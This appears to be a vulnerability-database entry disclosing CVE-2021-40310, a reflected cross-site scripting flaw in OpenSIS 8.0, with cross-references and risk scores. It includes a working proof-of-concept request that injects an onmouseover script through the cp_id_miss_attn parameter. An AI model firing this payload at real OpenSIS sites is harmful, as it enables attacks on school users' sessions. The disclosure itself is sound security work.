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OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS)
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | OpenSIS 8.0 - (cp_id_miss_attn) Reflected Cross-Site Scripting Vulnerability | 29 Sep 202100:00 | – | zdt |
 | CVE-2021-40310 | 24 Sep 202120:30 | – | circl |
 | OpenSIS 跨站脚本漏洞 | 24 Sep 202100:00 | – | cnnvd |
 | CVE-2021-40310 | 24 Sep 202115:07 | – | cve |
 | CVE-2021-40310 | 24 Sep 202115:07 | – | cvelist |
 | EUVD-2021-27493 | 3 Oct 202520:07 | – | euvd |
 | CVE-2021-40310 | 24 Sep 202116:15 | – | nvd |
 | OpenSIS 8.0 Cross Site Scripting | 29 Sep 202100:00 | – | packetstorm |
 | Cross site scripting | 24 Sep 202116:15 | – | prion |
 | CVE-2021-40310 | 22 May 202518:44 | – | redhatcve |
10
# Exploit Title: OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS)
# Date: 9/24/2021
# Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux
# CVE : CVE-2021-40310
OpenSIS Community Edition version 8.0 is affected by a cross-site scripting (XSS) vulnerability in the TakeAttendance.php via the cp_id_miss_attn parameter.
1. Login as "teacher".
2. Navigate to (take attendance): http://demo.opensis.com/ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true
Decoded request:
GET /ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7 onmouseover=alert(document.domain) style=position:absolute;width:100%;height:100%;top:0;left:0; z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true HTTP/1.1
3. XSS triggers
PoC Video: https://www.youtube.com/watch?v=aPKPUDmmYpcData
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29 Sep 2021 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 23.5
CVSS 3.15.4
EPSS0.00263